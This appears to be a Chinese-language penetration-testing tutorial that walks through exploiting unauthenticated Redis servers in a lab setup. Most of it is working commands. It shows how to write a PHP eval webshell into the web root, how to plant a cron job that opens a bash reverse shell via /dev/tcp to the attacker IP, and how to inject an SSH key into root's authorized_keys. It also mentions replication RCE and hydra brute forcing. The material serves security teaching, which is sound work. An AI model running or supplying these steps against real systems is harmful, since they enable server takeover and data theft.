文章目录
未授权概述
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
常见未授权访问漏洞
Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞
Redis未授权访问
Redis简介
https: www.redis.com.cn/redis-intro.html
Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。
应用场景
Redis 主要有两个应用场景:
1. 存储 缓存 用的数据;
2. 需要高速读/写的场合使用它快速读/写;
Redis 架构
Redis 主要由有两个程序组成:
Redis 客户端 redis-cli
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中。
漏洞发现
端口
Redis 服务默认监听在6379端口上
MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
Docker:2375
端口探测
nmap端口扫描
nmap -v -Pn -p 6379 -sV IP
v:显示过程
Pn:no ping
sV:版本探测
Redis常用命令
redis连接远程服务器:
redis-cli -h host -p port -a password
set testkey "Hello World"
# 设置键testkey的值为字符串
get testkey
# 获取键testkey的内容
set score 99
# 设置键score的值为99
incr score
# 使用INCR命令将score的值增加1
get score
# 获取键score的内容
keys *
# 列出当前数据库中所有的键
config set dir /home/test
# 设置工作目录
config set dbfilename redis.rdb
# 设置备份文件名
config get dir
# 检查工作目录是否设置成功
config get dbfilename
# 检查备份文件名是否设置成功
save
# 进行一次备份操作
flushall
# 删除所有数据
del key
# 删除键为key的数据
Redis历史漏洞
Redis未授权访问
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
- 导致敏感信息泄露
- 执行 flushall 可清空所有数据
- 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
- 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录
Redis主从复制RCE
在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的
Redis未授权访问漏洞复现
漏洞利用方法
- 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
- 通过redis数据备份功能写定时任务,通过定时任务反弹Shell
- 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器
实验环境
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:Kali、IP地址:10.1.1.100
信息收集
通过 nmap 进行信息收集,寻找可能利用的点
发现开放22\80\6379
22端口:ssh远程登录
80端口:http网站服务
6379端口:redis服务
发现开启80端口,试着访问一下
使用目录扫描工具 dirsearch 扫描发现敏感目录、页面,发现存在phpinfo信息泄露
python3 dirsearch.py -u 10.1.1.200 -e php
访问查看phpinfo信息
目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞
首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:
编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli
cd src/
cp redis-cli /usr/bin
cd ../../
redis-cli -h 10.1.1.200 -p 6379
-h:指定连接的redis服务器
-p:指定redis服务器端口
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等
如下图确实存在Redis未授权访问漏洞
进行Redis未授权访问漏洞利用。
Redis未授权写webshell
通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
通过执行如下命令写入一句话木马到网站根目录:
redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器
config set dir /var/www/html #设置工作目录
config set dbfilename shell.php #设置备份文件的文件名
set x "<?php @eval($_POST['test']);?>"
#添加一个键”x”,值为一句话木马
save #保存
注意:设置键值为一句话木马时,可以使用如下形式:
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:
然后即可通过工具包里面提供的蚁剑连接一句话木马:
./AntSword #打开蚁剑
选择工作目录,选择放置源码的文件夹,然后手动启动 ./AntSword
Redis未授权写定时任务反弹shell
kali使用nc开启监听
nc-lvvp 4433
写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务
set z "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
save #保存
等待一分钟后即可得到目标shell
Redis未授权写SSH公钥获得shell
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。
生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:
ssh-keygen -t rsa
将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
1)连接Redis
redis-cli -h 10.1.1.200 -p 6379
2)设置备份文件路径
config set dir /root/.ssh/
3)设置上传公钥的备份文件名字为authorized_keys
config set dbfilename "authorized_keys"
save
远程连接目标机器
ssh root@10.1.1.200 -i /root/.ssh/id_rsa
爆破ssh
创建字典
使用hydra进行爆破。
用爆破出来的密码进行远程连接。